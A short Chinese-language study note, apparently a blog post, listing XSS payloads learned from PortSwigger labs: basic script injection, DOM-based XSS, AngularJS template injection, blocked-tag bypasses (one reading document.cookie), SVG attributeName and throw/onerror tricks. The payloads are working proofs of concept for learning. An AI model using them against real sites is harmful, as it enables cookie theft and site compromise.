Before all
這邊主要是紀錄我打XSS時學到的一些神奇招數,基本的XSS還是要到這邊看喔:
Port Swigger
p.s.其實這些題目後面也都是從port swigger來ㄉ ><
Note:
Basic Payloads:
來複習一下(~ ̄▽ ̄)~
For HTML:
1 | <script>alert(1)</script> |
Javascript Injection:
1 | ');alert(1);\\ |
DOM Base:
是觸發於document.write
這類寫入函數的弱點。
開啟Burp Suite Browser的f12工具列,找到DOM Invader,搜尋自己的input然後構造payload,後面就跟前面一樣ㄌ
HTML Encode Trick
1 | apos;-alert(1)-' |
Angular js
Angular js 會去抓取格式如{{}}
的東西當作模板去做處理,就跟SSTI一樣。
Payloads
Angular js SSTI Payloads on Github
1 | {{$on.constructor('alert(1)')()}} |
Blocked html tags
第一個想法一定是暴力看看有那些tags和arguments可以用
Payload List on Port Swigger
如果都不行的話,構造一個不存在的tag然後利用id+onfocus以及url fragment(#
)去觸發XSS:
1 | <xss+id=x+onfocus=alert(document.cookie) tabindex=1>#x'; |
Backtick Injection
透過使用如${}
的方式去呼叫js,一樣是一種SSTI(?)
1 | ${alert(1)} |
XML attributeName
利用XML attributeName去改掉父標籤屬性。
1 | <svg><a><animate+attributeName=href+values=javascript:alert(1)+/><text+x=20+y=20>Click me</text></a> |
js throw
- 利用資料解析方式的不同去觸發injection
throw+onerror可以觸發一系列行為。
1 | 5&'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:' |
After all
應該還有些東西要補(